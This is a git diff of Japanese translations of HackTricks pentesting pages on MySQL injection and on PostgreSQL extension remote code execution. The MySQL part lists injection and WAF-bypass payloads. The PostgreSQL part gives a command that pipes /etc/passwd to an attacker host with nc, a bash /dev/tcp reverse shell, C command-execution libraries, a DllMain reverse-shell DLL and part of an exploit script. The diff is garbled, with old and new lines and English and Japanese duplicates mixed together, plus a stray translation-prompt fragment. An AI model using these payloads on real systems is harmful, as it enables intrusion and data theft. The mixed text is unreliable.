* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加**または[Telegramグループ](https://t.me/peass)に参加し、または**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/)は**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの1つです。**技術的知識の促進を使命**とするこの会議は、あらゆる分野のテクノロジーとサイバーセキュリティ専門家にとっての熱い出会いの場です。
[**RootedCON**](https://www.rootedcon.com/)は、**スペイン**で最も重要なサイバーセキュリティイベントであり、**ヨーロッパ**で最も重要なイベントの一つです。**技術知識の促進**を使命とし、この会議はあらゆる分野の技術およびサイバーセキュリティ専門家の熱い交流の場です。
{% embed url="https://www.rootedcon.com/" %}
## Comments
## コメント
```sql
-- MYSQL Comment
# MYSQL Comment
@ -28,7 +31,7 @@
```
## 興味深い関数
### Mysqlの確認:
### Confirm Mysql:
```
concat('a','b')
database()
@ -42,7 +45,7 @@ floor(2.9)
length(1)
count(1)
```
### 便利な関数
### 役立つ関数
```sql
SELECT hex(database())
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
@ -66,24 +69,24 @@ from [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/]
## フロー
"現代"の**MySQL**バージョンでは、"_**information\_schema.tables**_"を"_**mysql.innodb\_table\_stats**_"に置き換えることができますこれはWAFをバイパスするのに役立つかもしれません)。
「現代」の**MySQL**のバージョンでは、"_**information\_schema.tables**_"を"_**mysql.innodb\_table\_stats**_"に置き換えることができることを覚えておいてくださいこれはWAFを回避するのに役立つかもしれません)。
```sql
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
```
### **1つの値のみ**
### **値が1つだけ**
* `group_concat()`
* `Limit X,1`
### **ブラインド one by one**
### **盲目的に1つずつ**
* `substr(version(),X,1)='r'`または`substring(version(),X,1)=0x70`または`ascii(substr(version(),X,1))=112`
* `substr(version(),X,1)='r'` または `substring(version(),X,1)=0x70` または `ascii(substr(version(),X,1))=112`
* `mid(version(),X,1)='5'`
### **ブラインド追加**
### **盲目的に追加**
* `LPAD(version(),1...lenght(version()),'1')='asd'...`
* `RPAD(version(),1...lenght(version()),'1')='asd'...`
@ -106,7 +109,7 @@ UniOn SeLect 1,2
UniOn SeLect 1,2,3
...
```
## MySQLユニオンベース
## MySQL ユニオンベース
```sql
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
@ -115,48 +118,49 @@ UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
```
## SSRF
**[**Mysqlインジェクションを悪用してSSRFを取得する方法**](mysql-ssrf.md)**について、異なるオプションをここで学んでください。**
**ここで、** [**Mysqlインジェクションを悪用してSSRFを取得するためのさまざまなオプションを学びます**](mysql-ssrf.md)**。**
## WAFバイパストリック
### Information\_schemaの代替
### Information\_schemaの代替
"現代"の**MySQL**のバージョンでは、_**information\_schema.tables**_を_**mysql.innodb\_table\_stats**_や_**sys.x$schema\_flattened\_keys**_、または**sys.schema_table_statistics**に置き換えることができることを覚えておいてください。
「現代」の**MySQL**のバージョンでは、_**information\_schema.tables**_を_**mysql.innodb\_table\_stats**_や_**sys.x$schema\_flattened\_keys**_、または**sys.schema\_table\_statistics**に置き換えることができることを忘れないでください。
### コンマを使用せずにMySQLインジェクション
### カンマなしのMySQLインジェクション
コンマを使用せずに2つの列を選択する[https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma):
カンマを使用せずに2つの列を選択します[https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)
```
-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#
```
### 列名なしで値を取得する
ある時点でテーブルの名前はわかっているが、テーブル内の列名がわからない場合、次のようなコマンドを実行して列の数を見つけてみることができます:
もしある時点でテーブルの名前はわかっているが、テーブル内の列がわからない場合、次のようなコマンドを実行して、列の数を調べることができます:
```bash
# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1); # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns
```
仮定して、2つの列があるとします最初の列がIDで、もう1つがフラグです、フラグの内容を1文字ずつ試行することでブルートフォース攻撃を試みることができます。
Supposing there is 2 columns (being the first one the ID) and the other one the flag, you can try to bruteforce the content of the flag trying character by character:
仮に2つの列があるとします最初の列がIDで、もう1つがフラグです。フラグの内容を1文字ずつ試してブルートフォースすることができます
```bash
# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);
```
詳細は[https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952)にあります。
More info in [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952)
### MySQLの歴史
**sys.x$statement\_analysis**テーブルを読み取ることで、MySQL内で他の実行を見ることができます。
MySQL内の他の実行を、テーブル**sys.x$statement\_analysis**を読み取ることで確認できます。
### バージョンの代替
### バージョンの代替**s**
```
mysql> select @@innodb_version;
mysql> select @@version;
mysql> select version();
```
## その他のMYSQLインジェクションガイド
## 他のMYSQLインジェクションガイド
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)]
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
## 参考文献
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
@ -164,18 +168,21 @@ mysql> select version();
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/)は**スペイン**で最も関連性の高いサイバーセキュリティイベントの1つであり、**ヨーロッパ**でも最も重要なイベントの1つです。**技術知識の促進を使命**とするこの会議は、あらゆる分野のテクノロジーとサイバーセキュリティ専門家にとっての熱い出会いの場です。
[**RootedCON**](https://www.rootedcon.com/) **スペイン** で最も関連性の高いサイバーセキュリティイベントであり、 **ヨーロッパ** で最も重要なイベントの一つです。 **技術的知識の促進** を使命とし、この会議はあらゆる分野の技術とサイバーセキュリティの専門家が集まる熱い交流の場です。
{% embed url="https://www.rootedcon.com/" %}
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または**PEASSの最新バージョンにアクセス**したいですか?または**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つけてください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **💬**[**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出して、あなたのハッキングトリックを共有してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}

View file

@ -1,30 +1,33 @@
# PostgreSQL拡張機能
# RCE with PostgreSQL Extensions
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**私をフォロー**してください 🐦[@carlospolopm](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## PostgreSQL拡張機能
## PostgreSQL Extensions
PostgreSQLは拡張性をコア機能として開発されており、それらが組み込み機能であるかのように拡張機能をシームレスに統合できるようになっています。これらの拡張機能は、基本的にCで書かれたライブラリであり、データベースに追加の機能、演算子、または型を提供します。
PostgreSQLは拡張性をコア機能として開発されており、拡張機能を組み込み機能のようにシームレスに統合することができます。これらの拡張機能は、基本的にCで書かれたライブラリであり、データベースに追加の関数、演算子、または型を豊かにします。
バージョン8.1以降、拡張ライブラリには特定の要件が課されています特別なヘッダーでコンパイルする必要があります。これがないと、PostgreSQLはそれらを実行せず、互換性のあるかつ潜在的に安全な拡張機能のみが使用されることを保証します。
バージョン8.1以降、拡張ライブラリには特定の要件が課せられています特別なヘッダーでコンパイルされなければなりません。これがないと、PostgreSQLはそれらを実行せず、互換性があり、潜在的に安全な拡張機能のみが使用されることを保証します。
また、**[PostgreSQLを悪用して被害者にファイルをアップロードする方法がわからない場合は、この投稿を読んでください。](big-binary-files-upload-postgresql.md)**
また、**PostgreSQLを悪用して被害者にファイルをアップロードする方法がわからない場合は、[**この投稿を読むべきです。**](big-binary-files-upload-postgresql.md)**
### LinuxでのRCE
### RCE in Linux
**詳細についてはこちらをチェックしてください:[https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)**
**For more information check: [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)**
PostgreSQL 8.1およびそれ以前のバージョンからシステムコマンドを実行するプロセスは、明確に文書化されており、簡単です。これを使用することが可能です:[Metasploitモジュール](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload)。
PostgreSQL 8.1およびそれ以前のバージョンからのシステムコマンドの実行は、明確に文書化されており、簡単なプロセスです。これを使用することが可能です:[Metasploit module](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).
```sql
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
@ -36,9 +39,9 @@ CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' L
```
<details>
<summary>Base64からバイナリファイルを書き込む</summary>
<summary>Base64からバイナリファイルを書</summary>
バイナリをファイルに書き込むためには、PostgreSQLでbase64を使用する必要があるかもしれません。その場合に役立つ情報です:
Postgresでバイナリをファイルに書き込むには、base64を使用する必要があるかもしれません。これはそのために役立ちます:
```sql
CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
$$
@ -78,40 +81,35 @@ $$ LANGUAGE 'plpgsql';
```
</details>
ただし、より新しいバージョンで試みると、**次のエラーが表示されました**:
しかし、より新しいバージョンで試みたところ、**次のエラーが表示されました**:
```c
ERROR: incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic block
HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
```
このエラーは、[PostgreSQLのドキュメント](https://www.postgresql.org/docs/current/static/xfunc-c.html)で説明されています:
> 動的にロードされたオブジェクトファイルが互換性のないサーバーにロードされないようにするために、PostgreSQLはファイルに適切な内容を持つ「マジックブロック」が含まれているかどうかをチェックします。これにより、異なるPostgreSQLのメジャーバージョン用にコンパイルされたコードなど、明らかな非互換性をサーバーが検出できます。マジックブロックはPostgreSQL 8.2以降で必須です。マジックブロックを含めるには、モジュールのソースファイルの1つただ1つに、fmgr.hを含めた後に次のように記述します
このエラーは[PostgreSQLのドキュメント](https://www.postgresql.org/docs/current/static/xfunc-c.html)で説明されています:
> 動的にロードされたオブジェクトファイルが互換性のないサーバーにロードされないようにするために、PostgreSQLはファイルが適切な内容を持つ「マジックブロック」を含んでいるかどうかをチェックします。これにより、サーバーは異なるメジャーバージョンのPostgreSQL用にコンパイルされたコードなど、明らかな互換性の問題を検出できます。マジックブロックはPostgreSQL 8.2以降が必要です。マジックブロックを含めるには、ヘッダーfmgr.hをインクルードした後、モジュールソースファイルの1つそして1つだけに次のように記述します
>
> `#ifdef PG_MODULE_MAGIC`\
> `PG_MODULE_MAGIC;`\
> `#endif`
PostgreSQLバージョン8.2以降、システムを悪用する攻撃者のプロセスはより困難になりました。攻撃者は、すでにシステムに存在するライブラリを利用するか、カスタムライブラリをアップロードする必要があります。このカスタムライブラリは、PostgreSQLの互換性のあるメジャーバージョンに対してコンパイルされている必要があり、特定の「マジックブロック」を含める必要があります。この対策により、PostgreSQLシステムを悪用する難易度が大幅に上昇し、システムのアーキテクチャとバージョンの互換性についてより深い理解が必要とされます。
PostgreSQL 8.2以降、攻撃者がシステムを悪用するプロセスはより困難になりました。攻撃者は、システム上に既に存在するライブラリを利用するか、カスタムライブラリをアップロードする必要があります。このカスタムライブラリは、互換性のあるメジャーバージョンのPostgreSQLに対してコンパイルされ、特定の「マジックブロック」を含む必要があります。この対策により、PostgreSQLシステムを悪用する難易度が大幅に上がり、システムのアーキテクチャやバージョンの互換性についてのより深い理解が必要になります。
#### ライブラリをコンパイルする
PostgreSQLのバージョンを取得する:
次のコマンドでPostgreSQLのバージョンを取得します
```sql
SELECT version();
PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit
```
以下は、ファイルpentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.mdからのコンテンツです。
互換性のために、主要バージョンが一致することが重要です。したがって、9.6.xシリーズ内の任意のバージョンでライブラリをコンパイルすることで、成功した統合が保証されるはずです。
**日本語訳:**
```
互換性のために、主要バージョンが一致していることが重要です。したがって、9.6.xシリーズ内の任意のバージョンでライブラリをコンパイルすると、統合が成功するはずです。
システムにそのバージョンをインストールするには:
```
そのバージョンをシステムにインストールするには:
```bash
apt install postgresql postgresql-server-dev-9.6
```
そして、ライブラリをコンパイルしてください:
ライブラリをコンパイルします:
```c
//gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c
#include <string.h>
@ -128,19 +126,19 @@ char* command = PG_GETARG_CSTRING(0);
PG_RETURN_INT32(system(command));
}
```
その後、コンパイルされたライブラリをアップロードして、次のようにコマンドを実行します:
次に、コンパイルされたライブラリをアップロードし、次のコマンドを実行します:
```bash
CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE C STRICT;
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
#Notice the double single quotes are needed to scape the qoutes
```
あなたはこの**ライブラリを事前にコンパイル**された状態で、さまざまなPostgreSQLバージョンで見つけることができ、さらには次のようにしてこのプロセスを**自動化**することができますPostgreSQLアクセス権がある場合):
この**ライブラリは事前コンパイル済み**で、いくつかの異なるPostgreSQLバージョンに対応しており、さらに**このプロセスを自動化することもできます**PostgreSQLアクセスがある場合):
{% embed url="https://github.com/Dionach/pgexec" %}
### WindowsでのRCE
次のDLLは、**バイナリの名前**と**実行回数**を入力として受け取り、それを実行します:
次のDLLは、**バイナリの名前**と**実行したい回数**を入力として受け取り、それを実行します:
```c
#include "postgres.h"
#include <string.h>
@ -177,17 +175,17 @@ ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1);
PG_RETURN_VOID();
}
```
次のzipファイルにコンパイルされたDLLが見つかります:
このZIPファイルにコンパイルされたDLLがあります:
{% file src="../../../.gitbook/assets/pgsql_exec.zip" %}
このDLLに実行するバイナリと実行回数を指定できます。この例では、`calc.exe`を2回実行します
このDLLに**実行するバイナリ**と実行回数を指定できます。この例では、`calc.exe`を2回実行します
```bash
CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
SELECT remote_exec('calc.exe', 2);
DROP FUNCTION remote_exec(text, integer);
```
[**こちら**](https://zerosum0x0.blogspot.com/2016/06/windows-dll-to-shell-postgres-servers.html)でこのリバースシェルを見つけることができます
[**ここ** ](https://zerosum0x0.blogspot.com/2016/06/windows-dll-to-shell-postgres-servers.html)でこのリバースシェルを見つけることができます
```c
#define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10"
#define PG_REVSHELL_CALLHOME_PORT "4444"
@ -265,36 +263,38 @@ int32 arg = PG_GETARG_INT32(0);
PG_RETURN_INT32(arg + 1);
}
```
Note how in this case the **malicious code is inside the DllMain function**. This means that in this case it isn't necessary to execute the loaded function in postgresql, just **loading the DLL** will **execute** the reverse shell:
注意、この場合**悪意のあるコードはDllMain関数内にあります**。これは、この場合、postgresqlで読み込まれた関数を実行する必要がなく、単に**DLLを読み込む**ことで**リバースシェルが実行される**ことを意味します:
```c
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
```
### 最新のPostgresバージョンにおけるRCE
The [PolyUDF project](https://github.com/rop-la/PolyUDF) は、フル MS Visual Studio プロジェクトと、マルチバージョンサポートを含む使用可能なライブラリ_command eval_、_exec_、_cleanup_ を含む)を提供する良い出発点です。
PostgreSQLの**最新バージョン**では、`superuser`が特定のディレクトリWindowsの場合は`C:\Program Files\PostgreSQL\11\lib`、\*nixシステムの場合は`/var/lib/postgresql/11/lib`など)以外から共有ライブラリファイルを**読み込むことが禁止**される制限が課されています。これらのディレクトリは、NETWORK\_SERVICEまたはpostgresアカウントによって書き込み操作から**保護**されています。
### 最新の PostgreSQL バージョンにおける RCE
これらの制限にもかかわらず、認証済みのデータベース`superuser`は「大きなオブジェクト」を使用してファイルシステムに**バイナリファイルを書き込むことが可能**です。この機能により、データベース操作(テーブルの更新や作成など)に不可欠な`C:\Program Files\PostgreSQL\11\data`ディレクトリ内に書き込むことができます。
**最新のバージョン**の PostgreSQL では、`superuser` が特定のディレクトリWindows の `C:\Program Files\PostgreSQL\11\lib` や \*nix システムの `/var/lib/postgresql/11/lib` など)以外から共有ライブラリファイルを **ロード**することが **禁止**されています。これらのディレクトリは、NETWORK\_SERVICE または postgres アカウントによる書き込み操作から **保護**されています。
`CREATE FUNCTION`コマンドから生じる重大な脆弱性は、データディレクトリへの**ディレクトリトラバーサルを許可**しています。その結果、認証済みの攻撃者はこのトラバーサルを**悪用**して共有ライブラリファイルをデータディレクトリに書き込み、その後**読み込む**ことができます。この脆弱性を利用すると、攻撃者は任意のコードを実行し、システム上でネイティブコードを実行できます。
これらの制限にもかかわらず、認証されたデータベース `superuser` は「大きなオブジェクト」を使用してファイルシステムに **バイナリファイル**を書き込むことが可能です。この機能は、テーブルの更新や作成などのデータベース操作に不可欠な `C:\Program Files\PostgreSQL\11\data` ディレクトリ内への書き込みにも及びます。
重大な脆弱性は、`CREATE FUNCTION` コマンドから生じます。これはデータディレクトリへの **ディレクトリトラバーサル**を **許可**します。その結果、認証された攻撃者はこのトラバーサルを **悪用**してデータディレクトリに共有ライブラリファイルを書き込み、次にそれを **ロード**することができます。このエクスプロイトにより、攻撃者は任意のコードを実行し、システム上でネイティブコードの実行を達成します。
#### 攻撃フロー
まず、**大きなオブジェクトを使用してdllをアップロード**する必要があります。その方法はこちらで確認できます
まず、**大きなオブジェクトを使用して dll をアップロードする必要があります**。その方法については、こちらを参照してください
{% content-ref url="big-binary-files-upload-postgresql.md" %}
[big-binary-files-upload-postgresql.md](big-binary-files-upload-postgresql.md)
{% endcontent-ref %}
この例では、拡張機能この例ではpoc.dllという名前をデータディレクトリにアップロードした後、次のようにロードできます:
拡張機能(この例では poc.dll の名前)をデータディレクトリにアップロードしたら、次のようにしてそれをロードできます:
```c
create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
select connect_back('192.168.100.54', 1234);
```
_`.dll`拡張子を追加する必要はありません。create関数がそれを追加します。_
_Note that you don't need to append the `.dll` extension as the create function will add it._
詳細については、[**元の出版物をこちらで読んでください**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**。**\
その出版物では、[**ポストグレス拡張機能を生成するために使用されたコードはこちらです**](https://github.com/sourceincite/tools/blob/master/pgpwn.c)_ポストグレス拡張機能をコンパイルする方法については、以前のバージョンのいずれかを読んでください_\
同じページには、このテクニックを自動化する**エクスプロイトが示されていました**:
For more information **read the**[ **original publication here**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\
In that publication **this was the** [**code use to generate the postgres extension**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_to learn how to compile a postgres extension read any of the previous versions_).\
In the same page this **exploit to automate** this technique was given:
```python
#!/usr/bin/env python3
import sys
@ -337,14 +337,17 @@ print(" drop function connect_back(text, integer);")
* [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)
* [https://www.exploit-db.com/papers/13084](https://www.exploit-db.com/papers/13084)
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}

View file

@ -1,32 +1,35 @@
# 接続プールの宛先例
# Connection Pool by Destination Example
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じて、ゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
